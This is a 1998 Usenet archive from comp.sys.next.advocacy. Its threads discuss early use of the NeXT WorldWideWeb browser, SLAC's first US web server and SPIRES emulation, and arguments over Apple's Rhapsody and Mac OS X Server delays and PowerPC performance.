pfkeb@libra.slac.stanford.edu (Paul F. Kunz) wrote:
> Hello folks, remember me? Probably not since I've not been active
> in NeXTStep stuff for a long while.
Hi Paul,
Yes, I remember you -- at one point we exchanged emails a number of times,
mainly about Hippo, as I recall. We may have met at a BANG meeting, as well.
> But what I don't know, is whether anybody else outside of Europe
> had downloaded the NeXT browser software to their NeXT and given it a
> try before I did it.
Well, I can claim to having HAD a browser earlier than you, though I'm not
sure about USING it. Here's the story: I got my NeXT slab in March 1991. This
was NeXT's entry-level 8/108 25MHz slab. Like many other people, I soon found
the 108MB HD to be very tight, given NeXTSTEP's requirements. Later that
spring, my father (Emilio Pagiola of CERN, whom you know) visited me at
Stanford, and he brought me a 200MB HD. Since my father was also a NeXT user,
he had loaded the disk with a variety of available software for NeXTSTEP, and
since he was an early user of the web, this software included Tim's browser.
So I had a browser sometime in late spring 1991 -- I can check my old
datebooks for the exact dates, if you like. (This disk later died, but my
father sent me a replacement in early August, which once again was loaded
with NeXT software, including the browser.)
Now, at the time, our offices at Stanford's Food Research Institute had not
been wired for ethernet yet, so my NeXT was not connected. My father had also
brought me a modem, and we tried to get it hooked up. We never did get it to
work, however, so my NeXT remained unconnected. Ergo, I could not have used
the browser at the time, although IIRC you could start the browser, and it
would bring up a page that was included in the app wrapper. I don't think
this counts as "using the web", though.
Our offices were wired in the fall of 91, IIRC. At some point soon
thereafter, I did try out the www browser. As I recall, I was very much
underwhelmed, possibly because the only things available at the time were
related to high-energy physics -- not even papers, IIRC, mostly
administrative stuff, contact info, and the like. I remember looking to see
if there was anything by my father, and found a few references here and
there, but nothing very exciting. Anyway, since even with the extra 200MB my
hard disk was limited, the browser app did not linger long in my Apps
directory, though I almost certainly have it somewhere on one of those ED
diskettes the slab uses.
So, to establish whether there's any chance of my having actually used a web
browser before you, you'd have to find out exactly when the offices of the
Food Research Institute were wired for ethernet. Maybe Carl Gotsch can
provide that date, if he's still at Stanford, since he was in charge of the
Institute's computers. My use of a browser would have been within a month of
that time, at most, since as soon as I was connected I went on a spree of
trying out anything and everything that I could get my hands on, and apps I
already had on disk would obviously have been among the first to get tried.
The best I can do on short notice is that it definitely was in 1991, since I
found some copies of letters I wrote in January 92 in which the e-mail
address in the letterhead already points to my slab (as opposed to my
previous generic Stanford e-mail account).
Sometime later, I had dinner at Ron Weissman's house, and I remember him
talking about how great the web was. I remember taking another look, but once
again being underwhelmed. I returned to the web permanently when the first
omniweb browsers started coming out in early 94 (I was a pre-alpha tester;
Omnigroup has an archive of comments received (see *) which might make
interesting reading for historians of the web -- and indeed one of my
comments refers back to the way the CERN browser worked, see **). By this
time, of course, the web had already grown explosively.
So, I seem to have HAD a browser before you, but may or may not have USED one
before you. Either way, I suspect this puts me somewhere in the first couple
of hundred people or so to use the web, or maybe higher -- though I doubt
this claim will help me get lucky.
All the best,
Stefano Pagiola
* http://www.omnigroup.com/MailArchive/OmniWeb-l/1994/date.html
** http://www.omnigroup.com/MailArchive/OmniWeb-l/1994/0028.html
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Early Web expericence
Date: 23 Oct 1998 18:09:27 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <70qgon$sec$1@sun27.hrz.tu-darmstadt.de>
References: <7tzpaoq8q2.fsf@libra.slac.stanford.edu> <70qer3$349$1@news.xmission.com>
don@misckit.com (Don Yacktman) wrote:
>So I downloaded it, tried it out, and thought "well, this is neat and all,
>but there's nothing here that's really useful to me". Obviously times
>change. :-)
.. and with all due respect, didn't you too think that this was
a pretty weird NeXTstep app, with its windows resizing when new
text is received? :-)
> Like many others, though, I never saw beyond what was there and
>ignored it until my boss at BYU at the time asked me to compile the first
>mosaic to be installed on all of the college of engineering's shared
>workstations...which was a few years later. And it took a little while to
>make the connection that mosaic was a version of WorldWideWeb.app.
Well.. in a way it was - then again, you have to listen to Tim speak.
"Command-Shift-N is what it's all about!" and yes, that's what the
Web should be: "Let us share what we know." Tim's browser really
was a browser/editor - and while Mosaic had many nice features,
it lacked an editor, and the vision of everybody participating in
a world-wide web of information got somewhat lost.
Chris
--
// Christian Neuss "static typing? how quaint.."
// fax: (+49) 6151 16 5472
From: pfkeb@libra.slac.stanford.edu (Paul F. Kunz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Early Web expericence
Date: 23 Oct 1998 19:43:11 -0700
Message-ID: <7t67daadds.fsf@libra.slac.stanford.edu>
References: <7tzpaoq8q2.fsf@libra.slac.stanford.edu> <70q5re$g96$1@nnrp1.dejanews.com>
spagiola@my-dejanews.com writes:
> Yes, I remember you -- at one point we exchanged emails a number of times,
> mainly about Hippo, as I recall. We may have met at a BANG meeting, as well.
>
> Well, I can claim to having HAD a browser earlier than you, though I'm not
> sure about USING it.
[details deleted]
I can confirm Stephan's story.
From: pfkeb@libra.slac.stanford.edu (Paul F. Kunz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Early Web expericence
Date: 23 Oct 1998 19:39:30 -0700
Message-ID: <7t7lxqadjx.fsf@libra.slac.stanford.edu>
References: <7tzpaoq8q2.fsf@libra.slac.stanford.edu> <70oue2$hdg$2@news.idiom.com> <7t7lxrpbea.fsf@libra.slac.stanford.edu>
pfkeb@libra.slac.stanford.edu (Paul F. Kunz) writes:
> jcr.remove@this.phrase.idiom.com (John C. Randolph) writes:
>
> > BTW, what happened to the cube that you put the first httpd in america on?
> > Is it serving mail and news somewhere at SLAC, or is it under glass
> > somewhere, too?
>
> The first Web server in the US was *not* a NeXT Cube. It was an
> IBM mainframe (3081 or 3090). It's real name was
> slacvm.slac.stanford.edu. The machine was retired this year, having
> been replaced by UNIX and Windows NT machines.
To finish this story which I didn't have time for this morning, the
mainframe was used as our first Web server because it allow me and
other physicists to access a large data base on the mainframe via the
internet. The database system was SPIRES, a home grown DB engine
written at Stanford in the 60's. In the data base were listing of
high energy physics (HEP) papers with authors, titles, etc. (but no
text) and SPIRES was an ideal DB engine for that. As others in this
NG have pointed out, the content of the Web was real exciting in those
days, only if you were a high energy physicist.
One of the authors of SPIRES, in his retirement, wrote an IBM
mainframe emulator on his Mac. With this emulator, he could take IBM
binary object code and run it on his Mac. His test code was SPIRES.
To demonstrate it at SLAC we compiled his C code on my NeXT. It ran
fine on toy databases. So while other NeXT users were talking about
SoftPC at the time, I had SoftMainframe.
A bit later, plans were announced that the IBM mainframes were
going to be shut down in the future. Now what to do about SPIRES and
this HEP database that HEP physicists all over the world use and in
fact more so than in the past because it was on the Web. The data
base couldn't easily be ported to Oracle or other RDBMS because of the
nature of the data. SPIRES couldn't easily be ported to UNIX, because
it was written in IBM 360 assembler.
So I suggested using the SoftMainframe emulator on a UNIX machine
to run SPIRES. You got to be joking, most people said. But I was
serious. So we had to make a test to see how well (or poorly) it would
work. The mainframe had NSF software running, so on a 68040 NeXT we
mounted the mainframe disks containing the real HEP database. Then
we ran SPIRES on the NeXT with the emulator on the real data.
Performance was plenty adequate and perhaps faster than the mainframe
itself. A little NeXT slab out performing a mainframe with the
mainframe's data and object code while running under emulation.
So if you use the Web today, to access this HEP data base you'll
still be using SPIRES. But all IBM mainframes have shutdown and
shipped out. SPIRES is runing on a SPARC workstation with IBM object
code under emulation. NeXT hardware demonstrated that this was a
feasible approach.
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Fri, 23 Oct 1998 22:23:56 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3631484C.2C2FEBE9@milestonerdl.com>
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com>
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Maury Markowitz wrote:
>
> In <01bdfc8d$2142dbe0$06387880@chewy> "Todd Heberlein (todd at NetSQ dot
> com)" wrote:
> > > Macweek is quoting an Apple spokesperson to the effect that
> > > MOSXS is not cancelled and will be released before the end
> > > of the year. See their site.
> >
> > Everyone who has heard this before, raise your hand.
>
> *raises hand*
>
> Now every time that this was true in the past? Zero times. No matter
> how many times you repeat an untrue rumor, it doesn't become more true.
And what part of "Apple isn't going to kill the Newton" was an untrue
rumor?
Sometimes the rumors ARE true.
And, before the Intel Rhapsody was limited to 1.0, there were rumors to
that effect, yet the official position was that Apple intended to have a
PPC and Intelx86 versions of Rhapsody.
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Fri, 23 Oct 1998 22:20:01 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <36314761.686007A9@milestonerdl.com>
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Todd Heberlein (todd at NetSQ dot com) wrote:
>
> For most of us, the delays of Rhapsody (originally planned for Jan
> 98?), then delays of MacOS X Server (Fall of 98), and finally the
> potential cancellation of MacOS X Server is only frustrating.
>
> I wonder about all those developers creating YB applications but who
> cannot generate any revenues because of the OS never leaves the beta
> stage?
>
> While we [potential] users/customers can be frustrated by the
> [in]actions from Apple, I have to believe that the YB developers are
> really pulling out their hair.
>
> Suggestions: (1) Apple lets YB developers sell their products to
> current Rhapsody beta testers/developers. (2) Apple openly distribute
> MacOS X Server as pre-release software (perhaps for a $20 license fee)
> and let YB developers sell their products to this expanded consumer
> base. (3) Apple declare MacOS X Server as a product and sell it.
>
> Any thoughts?
>
> Todd
Didn't you see this shafting comming?
WWDC 1997
Newton/OpenDoc/Rhapsody OS are the future.
WWDC 1998
Newton - Dead
OpenDoc - Dead
Rhapsody - Intel path is dead ended, MacOS X is the future. Hardware
sold in 1997 that was promised to support the 'new OS' won't support Mac
OS X.
Apple is a lousy business partner. Get use to it.
From: pfkeb@libra.slac.stanford.edu (Paul F. Kunz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Early Web expericence
Date: 23 Oct 1998 20:27:21 -0700
Message-ID: <7t3e8eabc6.fsf@libra.slac.stanford.edu>
References: <7tzpaoq8q2.fsf@libra.slac.stanford.edu> <70qer3$349$1@news.xmission.com> <70qgon$sec$1@sun27.hrz.tu-darmstadt.de>
Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam> writes:
> .. and with all due respect, didn't you too think that this was
> a pretty weird NeXTstep app, with its windows resizing when new
> text is received? :-)
>
Yes. But some of NeXT's apps did the same thing as well.
Nevertheless, I felt the www.app wasn't done very well at all. The
only code I looked at was the server code, written in C, which I had
to get running on an IBM mainframe. It also was not very well
written. The Browser on the NeXT was also, well rather sloppy, and
not up to NeXT's standard of perfection.
Having said that, I have to say I'm sorry to one of the original
code's developers who I know still reads this newsgroup.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: A prediction
Date: Fri, 23 Oct 1998 21:19:44 -0700
References: <70ipmn$osd@newsb.netnews.att.com> <cybin9NOSPAM-2210982039060001@randolphmax1-107.megsinet.net> <70q27s$87o@newsb.netnews.att.com> <cybin9NOSPAM-2310981602090001@randolphmax3-91.megsinet.net>
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2310982119440001@1cust81.tnt1.santa-barbara.ca.da.uu.net>
In article <cybin9NOSPAM-2310981602090001@randolphmax3-91.megsinet.net>,
cybin9NOSPAM@hotmail.NOSPAMcom (cybin) wrote:
> And while I'm on the subject, though some may criticize D K Every and his
> MacKiDo site occasionally, he does have some interesting things to say
> about Intel, including how they ALWAYS spew this sort of stuff and then
> never make their deadlines.
From what Dave Wang has said, Every is preety wak'd out with what he says
about intel and spec.
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Message-ID: <rbarris-ya023280002310981148350001@206.82.216.1>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F1306A.3AF@T-FCN.Net> <70ftih$2ego$1@piglet.cc.uic.edu> <F139H5.78H@T-FCN.Net> <Jonas.Palm-2110980124480001@jp.orgk1.dial.lu.se> <rbarris-ya023280002010981659250001@206.82.216.1> <Jonas.Palm-2310981836560001@jp.orgk1.dial.lu.se> <Jonas.Palm-2310981922120001@jp.orgk1.dial.lu.se>
Organization: Quicksilver Software, Inc.
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Date: Fri, 23 Oct 1998 11:48:35 -0700
NNTP-Posting-Date: Fri, 23 Oct 1998 11:47:44 PDT
In article <Jonas.Palm-2310981922120001@jp.orgk1.dial.lu.se>,
Jonas.Palm@orgk1.lu.se (Jonas Palm) wrote:
> In article <Jonas.Palm-2310981836560001@jp.orgk1.dial.lu.se>,
> Jonas.Palm@orgk1.lu.se (Jonas Palm) wrote:
> >
> > Making performance predictions without taking problem size/bandwidth
> > issues into account is folly. But it makes great marketing.
>
> Oh my, that came out a bit harsh.
> But honestly, I have seen no scientific SIMD code that wouldn't
> be horribly bandwidth starved on macs even without AltiVec, so
> it feels very strange that the issue is ignored.
I'm not sure it *is* being ignored. Are you just saying you'd like some
PowerPC machines with higher main memory bandwidth? From all published
accounts this is something in the works.
A balanced system is best. But I don't think the memory bandwidth issue
is being ignored, it just doesn't get much press. Not the same thing.
I think the combination of AltiVec's better cache handling and streaming
abilities, in conjunction with better memory subsystems, will be a
noticeable leap all around, from what we see today. I just wonder how long
it will be!!
Rob
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
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Mime-Version: 1.0
Date: Fri, 23 Oct 1998 18:48:33 GMT
In <FIiROLCWddLd-pn2-HqXEzvpendC8@localhost> taiQ wrote:
> Personally I believe Jobs & Co were a little too hasty in putting the
> Yellow back in the Box when the initial developer interest wasn't, eh,
> stellar. Apple probably knows a thing or two about developers
> reactions to the Classic -> YB/BB migration plan, perhaps the majority
> weren't willing to make the leap into the dark since Apple had a
> history of killing "strategic" technologies without as much as a
> funeral ceremony (a la "Apple is happy to announce that the deceased
> technology was buried in unspecified location somewhere in Apple's
> patent filing cabinet room yesterday... blah blah. Apple Computer
> ignited the personal....").
Yup, this has happened too many times already. Many people are still
burned by it - I'll bet my former bosses at SoftArc will still never
believe a thing they say, and then there's the Nagel example right here in
this thread. Apple burned a lot of people in the past. The question is
whether or not you think it's the same Apple. I don't.
The evidence alone doesn't say anything one way or the other - you can
look at it as evidence that it's going to be killed ONLY if you assume it's
the same old Apple.
> developer faithfuls are still here with us _because_ they didn't
> scramble to follow every new initiative from Cupertino ASAP.
Indeed. Look at all the companies that bet the farm on some of the
killed ones, like PowerTalk or OpenDoc. Now let me be the first to admit
that I'm doing the same to YB, if YB gets killed and OS-X is Unix + Carbon,
I'm out of a job. But I really don't think that's what's happening.
> not have understood this, or perhaps he felt frustrated commanding a
> bunch who'd give him standing ovations but wouldn't follow into battle
> without hesitation, so, out of the hat came Avie's carbon-coloured
> rabbit and a promise of easy stew. ("Do next to nothing <no pun
> intended>, and you'll be guaranteed upgrade sales"). Now, Carbon in
> itself is OK, but either Jobs/Tevanian should have come up with it a
> year earlier so Rhap II wouldn't ship in late '99, or he should have
> stuck to his guns and made the Mac biggies go YB so others would have
> followed.
Interesting points. Even still, maybe the level of reaction was simply
unexpected, thus the retooling?
> > To the point that when half-baked "OSX Server is cancelled" rumors come
> > around, they sound completely plausible.
>
> Quite incredible, isn't it.
Indeed. But worse, were it to be true I'm sure the reaction of most
developers I know would be "good".
Maury
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: MacApp lives (was Mac OS X Server)
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References: <F1AAHJ.EwJ@T-FCN.Net> <B25612B3-2BF6F@206.165.43.86>
Mime-Version: 1.0
Date: Fri, 23 Oct 1998 18:52:15 GMT
In <B25612B3-2BF6F@206.165.43.86> "Lawson English" wrote:
> Given the hints that Mike Paquette has made about cross-platform Carbon, I
> don't see why MacApp couldn't also make it cross-platform.
You're missing the point, clearly no one needs carbon to do this.
> And I'm reasonably confident that Adobe would enjoy doing a write-once
> implementation of their apps, rather than maintaining their own
> cross-platform implementation, if Apple did it for them -especially if it
> were using eQD on both platforms.
I _really_ doubt this.
> Why is this so hard to believe?
Because...
a) you don't need a x-platform carbon to do this
b) you'd re-implement to get the same thing
c) Apple's just as likely to drop it as anything else
I'll say it again, the last issues are why they didn't use GX either.
Maury
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.society.futures
Subject: Re: Future Apple technologies
Message-ID: <forrestDELETE-THIS!-2310982232560001@term2-4.vta.west.net>
References: <70785i$goc@lutra.sztaki.hu> <D83FFBAD10B54AFB.1E9EECA26DE86F19.439E40E9314F3D44@library-proxy.airnews.net> <slrn732m5d.279.jason@jhste1.dyn.ml.org>
Organization: Obsidian Design / Static Dreams Interactive
Date: Fri, 23 Oct 1998 22:32:55 -0700
NNTP-Posting-Date: Fri, 23 Oct 1998 22:31:53 PDT
[added comp.sys.next.advocacy]
In article <slrn732m5d.279.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Unix has _always_ been easy to use; you just have to learn to use
> it. MacOS, OTOH, is a bitch to use, and once you learn enough about
> computers to figure that out you will switch to Unix.
I disagree. Unix is consistant, but not horribly intuitive. The MacOS is
intuitive, but not horribly consistant. Unix is also more powerfull but
more difficult because of this available power, MacOS is less powerfull
but easier to use because of this lack of options. What we need is an
interface which balances the two, consistancy with intuitiveness, power
with ease, and I think a hybrid of the NeXT UI and the newer Mac UIs comes
closest to this. I think I've designed an even better one, and I posted
some details of it to CSMA and CSNA (I called it the "Unity" UI). If
anyone wants I'll re-post it, or email it to someone.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
Message-ID: <362EA236.902377C@nstar.net>
Date: Wed, 21 Oct 1998 22:10:46 -0500
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com>
<01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net>
<362E0210.D5392CC6@ericsson.com> <nagleF16tA5.Itp@netcom.com>
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Maury Markowitz wrote:
[cut]
> On the other hand I'm not willing to say they have until I see MacOS-X.
> Who knows, they may market YB off the map when it ships. Rhapsody is not
> going to be a "big" OS, OS-X will. I can understand them wanting to wait
> until then before hyping anything about it. I just wish it weren't so far
> in the future.
We all do. I couldn't believe I heard 1999 at the WWDC this past spring.
Apple could have had *two* "big" OSes, MacOS 8 and Rhapsody. It could
have shipped 7.7 (original name, remember?) as its own interim release
and kept cloners in business. It could have restricted cloning to MacOS
and reserved Rhapsody cloning to a different program with much higher
fees (few, apart from the cloners, would have complained). It *should*
have done all of this by spring on this past year. How much time was
wasted with Jobs' little act over stepping down and the press
misinformation campaign?
Ye gods, what a disaster. There was so much hope for this to work. Now I
get laughed at by those who once endured my pro-Apple spittle...
MJP
Message-ID: <362E9E9A.859FA67@nstar.net>
Date: Wed, 21 Oct 1998 21:55:22 -0500
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
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<01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net>
<362E0210.D5392CC6@ericsson.com> <F16z2v.DtH@T-FCN.Net>
<362E376F.AB64DD73@ericsson.com> <F174Bo.GqD@T-FCN.Net>
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Maury Markowitz wrote:
>
> In <362E5E34.506667F8@ericsson.com> Michael Peck wrote:
> > Too bad for you.
>
> I stand corrected.
I'm sorry for drilling this in. I was piqued when you first got the date
wrong, and I wanted to make sure there was no doubt about what was said.
[cut]
> > All of which are wonderfully available...to Certified Apple Developers.
>
> No, to anyone. Yes I realize that this means something in turn, but that
> doesn't stop Todd, or anyone else, from putting the software in a box and
> selling it. Just yesterday we bought a piece of software for DR2 for
> instance.
Maury, it doesn't matter if you buy DR2 software: you're a DR2
developer. Why do I have to keep getting at this? Do you think there's
any difference between a developer release and a customer release? This
seems so elementary; I don't know why it's such a sticking point for
you.
> I think it's worth pointing out that the OpenStep 4.2 + Rhapsody DR2
> market is likely just as big or bigger than the OpenStep 4.2 market.
It doesn't matter. What commercial production (non-DR2-development)
systems are running DR2? A market of developers means nothing without a
market of users, especially since that market of developers has been
developing for the very purpose of shipping to an ever-later customer
market. The goose is fine but it's got to actually lay golden eggs, no?
> This
> is what I said to Todd in my last message. If the market was there a year
> ago, it's still mostly intact now, if not larger.
No, it's a completely different market. A market of developers, not of
professional users, which is precisely the market toward which Apple has
said it will market Rhapsody.
> I think you may not have
> a good grasp on the OS4.2 market just prior, it basically consisted
> entirely of developers.
Yep. I've definitely missed this. Those NeXTstep developers selling
products were selling to...whom?
[cut]
MJP
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Early Web expericence
Date: 23 Oct 1998 20:29:19 GMT
Organization: MiscKit Development
Message-ID: <70qouv$349$2@news.xmission.com>
References: <7tzpaoq8q2.fsf@libra.slac.stanford.edu> <70qer3$349$1@news.xmission.com> <70qgon$sec$1@sun27.hrz.tu-darmstadt.de>
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Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam> wrote:
> don@misckit.com (Don Yacktman) wrote:
> >So I downloaded it, tried it out, and thought "well, this is neat
> >and all, but there's nothing here that's really useful to me".
> >Obviously times change. :-)
>
> .. and with all due respect, didn't you too think that this was a
> pretty weird NeXTstep app, with its windows resizing when new text is
> received? :-)
Yeah. It seemed really unpolished to me, which is probably in part why I
didn't give it a second thought until much later. That MediaView.app seemed
a lot more interesting to me at the time. In retrospect, it was, interface
wise, much closer to what the web is today. Documents could have anything,
including "applets", embedded in them. The "applets" were Obj-C View
subclasses, in effect, that were dynamically linked with the app. It lacked
the Internet component, though. Mix MediaView's rich documents with the
Internet aspects of WorldWideWeb and you get the WWW of today, more or less.
Anyone else remember MediaView?
> > Like many others, though, I never saw beyond what was there
> > and
> >ignored it until my boss at BYU at the time asked me to compile the
> >first mosaic to be installed on all of the college of engineering's
> >shared workstations...which was a few years later. And it took a
> >little while to make the connection that mosaic was a version of
> >WorldWideWeb.app.
>
> Well.. in a way it was - then again, you have to listen to Tim speak.
> "Command-Shift-N is what it's all about!" and yes, that's what the
> Web should be: "Let us share what we know." Tim's browser really was
> a browser/editor - and while Mosaic had many nice features, it lacked
> an editor, and the vision of everybody participating in a world-wide
> web of information got somewhat lost.
Yes. The Wiki webs are, perhaps, closer to that vision. I like the ideas
behind those sites quite a bit. More structured (and self-organizing) than a
chat room, but still with a high level of interaction and a collaborative
feel...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
Date: Sat, 24 Oct 1998 00:29:06 -0500
From: alex@WebIS.net (Alex Kac)
Mail-Copies-To: alex@WebIS.net
Subject: This is the OS the world will move to?
Message-ID: <alex-2410980029060001@cs48-25.austin.rr.com>
Organization: Web IS
Newsgroups: comp.sys.next.advocacy
http://cnn.com/TECH/computing/9810/23/prepare.idg/
Talks about the move to Windows NT.
--
-
Alex Kac Web Information Solutions CEO
Everyware/Pervasive Alliance Member
Tango Hosting - Tango Consulting - Commerce Building
Data Driven WebSite Creation - Oracle Hosting - Butler Hosting
http://www.WebIS.net
-
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: YB developer's lost revenues
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <F1ADL0.GKG@T-FCN.Net> <B256154D-35BC7@206.165.43.86>
Message-ID: <3630f1ad.0@news.depaul.edu>
Date: 23 Oct 98 21:14:21 GMT
In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
> Maury Markowitz <maury@remove_this.istar.ca> said:
> >Apple pratically refused to fix the OS, while instead supplying
> >unneeded distractions like PowerTalk and OpenDoc.
> Heh. And how is the ActiveX/OLE implementation of the MacOS?
> You're rewriting history to some extent, I think. OpenDoc wasn't meant to
> save the OS, but to encourage small developers to write software for the
> Mac.
That's not the point. The point is that the OS needed saving, not
OpenDoc. (Which also wasn't a very good way to encourage small
developers to write software for the Mac. Small developers can
write big software, and don't need to be limited to little
things.)
What Apple did with OpenDoc was like giving a manicure to a
person choking. Wrong problem!
> Jobs never understood this, or if he did, he saw OD as a direct competitor
> to YB.
No, he saw it as a big, expensive, little-used, little-supported,
and largely unwanted hunk of code which provided features that
really aren't very important.
> This latter interpretation makes sense. Why else should he delete the
> entire file-set for Cyberdog from the Apple site? That's never been done
> with ANY other OS product that Apple has ever made, dead, unsupported or
> what, while people are still using it in large numbers, has it?
Are people still using it in 'large numbers'?
> Why Cyberdog, which still has a loyal set of users, unless he simply wants
> to kill that loyal following by making it impossible for it to grow?
It's already dead. Hell, it was dead when they used that stupid name.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 23 Oct 1998 21:30:40 GMT
Organization: I don't think so
Message-ID: <slrn731tmo.dg.jason@jhste1.dyn.ml.org>
References: <slrn72s8u8.9ka.jason@jhste1.dyn.ml.org> <2992029756@hoult.actrix.gen.nz>
Bruce Hoult posted the following to comp.sys.mac.advocacy:
>> Hmmm - I think you mean 4-5 Mbps (huge difference there, Rob <g>).
>> Actually, I'm not so sure that a 350 MHz 604e couldn't crank out the
>> IDCTs plenty fast enough - I can make a 603e/180 do an 8x8 IDCT in an
>> average of about 4.7 usec with some fairly well-optimized code (but a
>> slowish algorithm); the pipelined integer multiplier and ability to issue
>> 2 adds and 1 mulli per cycle in the 604e could cut that down quite a bit;
>Sorry -- the 604(e) has a rather severe limitation: it looks as if it can
>dispatch and process a rather large number of instructions at the same time
>(and it can), but at the back end it can only write back two integer results
>per clock cycle. Since you could get up to five integer results being
>generated in a cycle (two simple ALU, 1 mul, 1 load result, 1 load/store
>with update address) this is a rather severe limitation.
The 1D IDCT takes 8 coefficients, performs (typically) 32 adds and 11 or
12 multiplies, and writes back 8 coefficients. For something like this,
the 604e isn't going to be all that limited. :)
Unfortunately, I don't have a 604e with which to confirm this. :(
--
Latvian Orthodox Priest: Is there one aspect of the faith that you find
particularly attractive?
George Costanza: I think - the hats.
-- Seinfeld
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 24 Oct 1998 15:08:00 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70sqgg$7l0@news1.panix.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> <F14qsH.CE2@T-FCN.Net> <362CD8F5.27CBFE58@ericsson.com> <70jmbo$mqb@news1.panix.com> <70kl4q$j4t$1@nnrp1.dejanews.com>
On Wed, 21 Oct 1998 12:47:22 GMT, spagiola@my-dejanews.com
<spagiola@my-dejanews.com> wrote:
>sal@panix.com wrote:
>> Apple has almost _zero_ credibility in the enterprise market. Shipping
>> OpenStep as it was would have done little to build credibility. Shipping
>> OSX Server, with many improvements over OS4.2, and some kind of marketing
>> push (perhaps with WO4) _may_ improve Apple's credibility.
>The operative word there is "shipping" -- having amazing technology in your
>cellar that you may or may not decide to ship at some future point in time at
>some as yet unspecified price is NOT going to improve Apple's credibility. In
>fact, Apple's entire behavior on this matter seems calculated to REDUCE its
>credibility.
The worst thing Apple can do right now is turn OSX into another OS/2.
They should ship OSX Server with a campaign designed to promote WO and OSX
as _the_ solution for the Mac server market, and as the best solution for
those who want a a state of the art web development platform.
Apple should not do a stealth release.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: To be the Sony of the computer business
Date: 24 Oct 1998 15:10:26 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70sql2$7m7@news1.panix.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com> <70lcvv$j2m$1@nnrp1.dejanews.com> <70nk6p$41a@newsb.netnews.att.com> <ericb-2210982024270001@r4149.resnet.cornell.edu> <01bdfe2a$27f06770$06387880@chewy> <jayfar-2310980038460001@ppp180.blackbox1-mfs.netaxs.com>
On Fri, 23 Oct 1998 00:38:46 -0400, Jayfar <jayfar@netaxs.com> wrote:
>But don't forget, Amelio's vision included clones, with Apple retaining a
>sizeable share of a gradually growing MacOS platform.
The problem with that statement is that at no point during the clone era
did Apple's market share grow.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: 24 Oct 1998 15:10:27 GMT
